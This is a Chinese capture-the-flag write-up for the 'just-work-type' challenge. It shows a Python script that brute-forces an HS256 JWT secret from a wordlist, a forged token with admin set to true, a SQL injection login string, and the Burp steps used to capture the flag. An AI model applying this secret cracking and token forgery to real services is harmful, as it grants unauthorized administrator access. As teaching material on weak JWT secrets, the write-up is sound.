CTF真题 | just-work-type

四季读书网 1 0
CTF真题 | just-work-type
题目描述(中等题):
CTF真题 | just-work-type 第1张
进入靶场后:
CTF真题 | just-work-type 第2张
题目描述中提示username和password都为zombo,输入后点击登录,显示如下图:
CTF真题 | just-work-type 第3张

请在微信客户端打开

解题过程(可以先看文末知识点总结):
1、F12检查源代码后,发现无提示,同时sql万能密码(admin' or 1=1--+)也无反应。
2、使用bp抓包进行分析,抓到的包如图,可以发现有一个cookie,这个cookie值被两个“.”分隔成了三个字段,同时本题题目是just-work-type,对应JWT身份验证。
CTF真题 | just-work-type 第4张
3、对token进行Base64解码,结果如下:
CTF真题 | just-work-type 第5张
4、解题的目标就是要篡改这个token,将admin:false,改为admin:true,并且使用JWT密钥,生成Signature签名,最后将篡改的Header.Payload.Signature三部分进行Base64编码后作为token,发送给服务端即可实现admin登录。
5、要实现上面第4点的目标,首先就要先得到JWT密钥,可以使用c-jwt-cracker等相关爆破工具,也可以自己写python脚本,这里采用脚本爆破密钥,脚本如下:
# 以下代码存在健壮性冗余,真实比赛中可以省略健壮性,直接编写暴破代码  import hmacimport hashlibimport base64import jsondef jwt_crack(jwt_token, passwords):    print("[*] 开始破解 JWT 密钥...")    # 拆分 JWT    parts = jwt_token.split('.'# 根据.将JWT字符串分解为3段    if len(parts) != 3:        print("[-] 无效的 JWT")        return None    header_b64, payload_b64, signature_b64 = parts # 尝试每个密码    for pwd in passwords:         pwd = pwd.strip()   #strip()函数是把去掉字符串两边的空格、换行、制表符        if not pwd:   #如果是密码是空执行continue操作              continue    # 计算 HMAC SHA256        msg = f"{header_b64}.{payload_b64}".encode()        sig = hmac.new(pwd.encode(), msg, hashlib.sha256).digest()        sig_b64 = base64.urlsafe_b64encode(sig).decode().strip('=')    # 比对签名        if sig_b64 == signature_b64:            print(f"\n[+] 破解成功!密钥 = {pwd}")            return pwdprint("[-] 破解失败")return NoneJWT_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOnsiYWRtaW4iOmZhbHNlLCJkYXRhIjp7InVzZXJuYW1lIjoiem9tYm8iLCJwYXNzd29yZCI6InpvbWJvIn19LCJpYXQiOjE3NzY3NDA3NDksImV4cCI6MTc3Njc0NDM0OX0.yQQeJeGrGQhlc9hEZljRE_xfGPDXTZR-tJNAFsV8T0E"passwords = ["zombo""admin""123456""password""root""test","jwt""secret""token""user""guest""123","jwtsecret""secretkey""signkey""admin123"]# ========================================================if __name__ == "__main__":    key = jwt_crack(YOUR_JWT, passwords)    if key:print(f" 正确密钥:{key}")
# 无冗余版,极简爆破代码  import hmacimport hashlibimport base64def jwt_crack(jwt_token, passwords):    parts = jwt_token.split('.')    header_b64, payload_b64, signature_b64 = parts    for pwd in passwords:        msg = f"{header_b64}.{payload_b64}".encode()        sig = hmac.new(pwd.encode(), msg, hashlib.sha256).digest()        sig_b64 = base64.urlsafe_b64encode(sig).decode().strip('=')    # 比对签名        if sig_b64 == signature_b64:            print(f"\n[+] 破解成功!密钥 = {pwd}")            return pwdJWT_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOnsiYWRtaW4iOmZhbHNlLCJkYXRhIjp7InVzZXJuYW1lIjoiem9tYm8iLCJwYXNzd29yZCI6InpvbWJvIn19LCJpYXQiOjE3NzY3NDA3NDksImV4cCI6MTc3Njc0NDM0OX0.yQQeJeGrGQhlc9hEZljRE_xfGPDXTZR-tJNAFsV8T0E"passwords = ["zombo""admin""123456""password""root""test","jwt""secret""token""user""guest""123","jwtsecret""secretkey""signkey""admin123"]# ========================================================if __name__ == "__main__":    key = jwt_crack(JWT_token, passwords)    if key:        print(f" 正确密钥:{key}")
代码执行结果如图,得知密钥是123
CTF真题 | just-work-type 第6张
6、得到密钥后,利用jwt.io工具,生成payload,
CTF真题 | just-work-type 第7张
payload:
#我生成的payload是这个,但是要注意jwt签名会有过期时间,jwt的payload部分会给出签发时间(iat)和过期时间(exp)eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOnsiYWRtaW4iOnRydWUsImRhdGEiOnsidXNlcm5hbWUiOiJ6b21ibyIsInBhc3N3b3JkIjoiem9tYm8ifX0sImlhdCI6MTc3NjgyNTAyMSwiZXhwIjoxNzc2ODI4NjIxfQ.tqJtn1aqcecvGae4BHHNnF6GCei6eJBoeYC02_dwiRw
7、将login包中的cookie token换成上面篡改后的值,点击发送,可以看到响应似乎没有返回flag值,关于这一点也迷惑了我挺久,归根到底也是自身功夫不到家,只需要点击follow redirection(图片中红框处)即可看到flag,下面介绍相关原因。
CTF真题 | just-work-type 第8张
CTF真题 | just-work-type 第9张
flag:shellmates{w34k_JwT_$3CR3T}
follow redirection功能是:响应是否自动跟着重定向页面走,burp默认不会自动转向重定向页面,所以只有点击后会转向重定向页面,由于响应内容状态码是302,所以需要点击follow redirection后才可以显示flag,这个也可以在options(设置)里面设置默认选项,自动重定向。
总结:
这个CTF真题我认为属于中等偏简单题目,主要是考察JWT身份认证知识,如果对JWT有了解,想到解题思路并不难,此题可也让我们明白要重视题目名称和描述信息。另外关于将payload发送后响应出现302等重定向时,注意出题者将flag放在
相关知识点:
JWT是基于 RFC 7519 标准的轻量级、自包含、可验证的令牌,主要用于身份认证安全信息交换,尤其适合无状态、分布式与微服务场景
JWT的结构Header.Payload.Signature (Header和Payload为base64编码)
1、Header头部:,用JSON格式来描述令牌元数据
{  "alg": "HS256",  // 签名算法:HS256(HMAC-SHA256)、RS256(RSA-SHA256)等  "typ": "JWT"     // 固定为 JWT}
2、Payload载荷:用JSON格式存放声明
{  "sub": "1001",   //主题     "name": "Alice",  //自定义字段   "role": "admin",   //自定义字段   "exp": 1745145600,  //过期时间 (必须设置)   "iat": 1745059200   //签发时间   }
3、Signature签名:安全验证核心,防止篡改:
HMACSHA256(base64UrlEncode(Header) + "." + base64UrlEncode(Payload),secret)  // 密钥(HS256)或私钥(RS256)  

抱歉,评论功能暂时关闭!